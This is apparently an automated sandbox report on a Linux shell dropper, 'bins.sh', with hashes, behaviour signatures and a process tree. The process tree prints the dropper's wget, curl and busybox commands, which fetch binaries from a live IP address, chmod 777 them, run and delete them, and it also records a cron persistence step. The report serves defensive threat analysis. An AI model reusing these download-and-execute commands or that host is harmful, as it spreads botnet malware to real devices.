Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/11/2024, 02:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8f5088b4912cb20abde29e1603b7fcae

  • SHA1

    b3b699bc68a5e784f72a8de3cc5ca4a3108e24db

  • SHA256

    33eafd3d129b1c00172304bbe6745931000915b87f0300905556d89f4ff20b81

  • SHA512

    46c0d0dc07b3fb5dd94a54cac867cf10e17553ce5fa7f037e681fca3105b7b281fcb6b0f36b0e9a691b8161debb42b662a9a155ca3c29b2d6d065a677ff65785

  • SSDEEP

    192:CiyCpdx7WymIRpQc2Xe6z/vu1uT+z/vu1uGiyCpdlymIRpeP4g:r7WymIRpQcjiWymIRpTg

Malware Config

Signatures

  • Contacts a large (1664) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:687
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:689
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:693
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /bin/chmod
          chmod 777 OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • File and Directory Permissions Modification
          PID:718
        • /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          ./OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:719
        • /bin/rm
          rm OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          PID:721
        • /usr/bin/wget
          wget http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Writes file to tmp directory
          PID:722
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Writes file to tmp directory
          PID:723
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Writes file to tmp directory
          PID:724
        • /bin/chmod
          chmod 777 WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          ./WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Writes file to tmp directory
            PID:765
          • /bin/chmod
            chmod 777 aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • File and Directory Permissions Modification
            PID:773
          • /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            ./aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Executes dropped EXE
            PID:775
          • /bin/rm
            rm aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
              PID:778
            • /usr/bin/wget
              wget http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • Writes file to tmp directory
              PID:779
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:782
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • Writes file to tmp directory
              PID:783
            • /bin/chmod
              chmod 777 gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • File and Directory Permissions Modification
              PID:784
            • /tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              ./gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • Executes dropped EXE
              PID:785
            • /bin/rm
              rm gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
                PID:787
              • /usr/bin/wget
                wget http://216.126.231.240/bins/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw
                2⤵
                • Writes file to tmp directory
                PID:788
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw
                2⤵
                • Writes file to tmp directory
                PID:793
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw
                2⤵
                • Writes file to tmp directory
                PID:808
              • /bin/chmod
                chmod 777 nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw
                2⤵
                • File and Directory Permissions Modification
                PID:815
              • /tmp/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw
                ./nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw
                2⤵
                • Executes dropped EXE
                PID:816
              • /bin/rm
                rm nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw
                2⤵
                  PID:819
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53
                  2⤵
                  • Writes file to tmp directory
                  PID:826
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53
                  2⤵
                  • Writes file to tmp directory
                  PID:827
                • /bin/chmod
                  chmod 777 Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53
                  2⤵
                  • File and Directory Permissions Modification
                  PID:831
                • /tmp/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53
                  ./Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53
                  2⤵
                  • Executes dropped EXE
                  PID:832
                • /bin/rm
                  rm Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53
                  2⤵
                    PID:834
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:835
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:836
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:837
                  • /bin/chmod
                    chmod 777 c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd
                    2⤵
                    • File and Directory Permissions Modification
                    PID:838
                  • /tmp/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd
                    ./c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    PID:839
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:841
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:842
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:843
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:844
                      • /bin/rm
                        rm c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd
                        2⤵
                        • System Network Configuration Discovery
                        PID:846
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE
                        2⤵
                          PID:849
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE
                          2⤵
                            PID:850
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE
                            2⤵
                            • Writes file to tmp directory
                            PID:851
                          • /bin/chmod
                            chmod 777 gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE
                            2⤵
                            • File and Directory Permissions Modification
                            PID:940
                          • /tmp/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE
                            ./gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE
                            2⤵
                            • Executes dropped EXE
                            PID:941
                          • /bin/rm
                            rm gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE
                            2⤵
                              PID:943
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca
                              2⤵
                                PID:944

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /var/spool/cron/crontabs/tmp.IhvtUh

                              Filesize

                              210B

                              MD5

                              82a3ade714d7082496807e70423964d8

                              SHA1

                              dd1d3ccbe54a77b86a423dfe16c9959f46fdfdb8

                              SHA256

                              7765d8325065d6f144f504b6b0071b62a7499d76659025a12c09d3dffb556981

                              SHA512

                              978ff71875f0413d6e31cb9d603148844a8d453d80e8a3145dd2e47b3afc77c2020b0eb53df31304ec34d1667da53112236d75b6de28d5a1386bb0cc1fce66c3